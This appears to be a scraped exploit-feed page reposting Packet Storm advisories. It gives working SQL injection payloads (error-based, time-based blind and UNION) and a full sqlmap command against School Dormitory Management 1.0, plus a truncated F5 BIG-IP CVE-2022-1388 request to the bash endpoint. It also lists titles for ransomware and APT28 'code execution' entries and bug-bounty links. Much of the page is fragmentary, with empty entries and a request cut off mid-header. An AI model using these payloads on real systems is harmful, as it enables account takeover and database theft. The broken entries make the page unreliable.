Exploit Collector
School Dormitory Management 1.0 SQL Injection

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
School Dormitory Management version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | d5de6e90441b347a90dcfbbe5aa109c73945042d00234b05626402f8ca6fabd9

Download
## Title: School Dormitory Management 1.0 SQLi
## Author: nu11secur1ty
## Date: 05.09.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management
## Description:
The id parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the id parameter, and a database error
message was returned.
Two single quotes were then submitted and the error message disappeared.
The attacker can take administrator accounts control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: id (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=2' AND (SELECT 7198 FROM(SELECT
COUNT(*),CONCAT(0x716b7a6a71,(SELECT
(ELT(7198=7198,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# JPhD

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2' AND (SELECT 6966 FROM (SELECT(SLEEP(5)))amnS)# UIgv
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management)

## Proof and Exploit:
[href](https://streamable.com/hd6xo1)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Travel Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ransom.Satana Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ransom.Conti Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
School Dormitory Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
School Dormitory Management System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 35eface303d338348fb6d3c2744228b1f44d4ff33f83a1ac39f419a593227e06

Download
# Exploit Title: School Dormitory Management System - 'month' SQL Injection
# Date: 08/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code

line 59 in file "/dms/admin/reports/daily_collection_report.php"

$qry = $conn->query("SELECT p.*, a.code, s.code as student_code, concat(s.firstname, ' ', coalesce(concat(s.middlename,' '), ''), s.lastname) as `student`, d.name as dorm, r.name as `room` from payment_list p inner join account_list a on p.account_id = a.id inner join student_list s on a.student_id = s.id inner join room_list r on a.room_id = r.id inner join dorm_list d on r.dorm_id = d.id where (p.month_of) = '{$month}' order by student asc ");

# Sqlmap command:

sqlmap -u "http://localhost/dms/admin/?month=1&page=reports/daily_collection_report" -p month --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: month (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: month=1' AND (SELECT 3271 FROM (SELECT(SLEEP(5)))duQT) AND 'NgBP'='NgBP&page=reports/daily_collection_report

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: month=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b6a71,0x485362486f7266597a444d417754744873427366706c4a4f706b7949467a6a61505468424c476753,0x716b6a7171),NULL,NULL,NULL,NULL-- -&page=reports/daily_collection_report

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
F5 BIG-IP Remote Code Execution

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
F5 BIG-IP remote code execution proof of concept exploit that leverages the vulnerability identified in CVE-2022-1388.

SHA-256 | 2c3224e25af9797e9d7139c7d759da88b2eae07b09d164c4bf3a7423cfb95c06

Download
# F5 BIG-IP RCE exploitation (CVE-2022-1388)

POST (1):

POST /mgmt/tm/util/bash HTTP/1.1
Host:
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
APT28 FancyBear Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ransom.Cryakl Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Career: Web Hacking

DetailsContinue reading on Medium »
Read more...

The Basics of Subdomain Takeovers

A subdomain takeover is a vulnerability which allows an attacker to take the control of a subdomain which is not owned by that attacker.Continue reading on Medium »
Read more...

Bug Bounty Career: Web Hacking
https://0xshakhawat.medium.com/bug-bounty-career-web-hacking-59ea116dcfc3?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

DetailsContinue reading on Medium » (https://0xshakhawat.medium.com/bug-bounty-career-web-hacking-59ea116dcfc3?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The Basics of Subdomain Takeovers
https://etzold.medium.com/the-basics-of-subdomain-takeovers-a0bbd4c84a4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video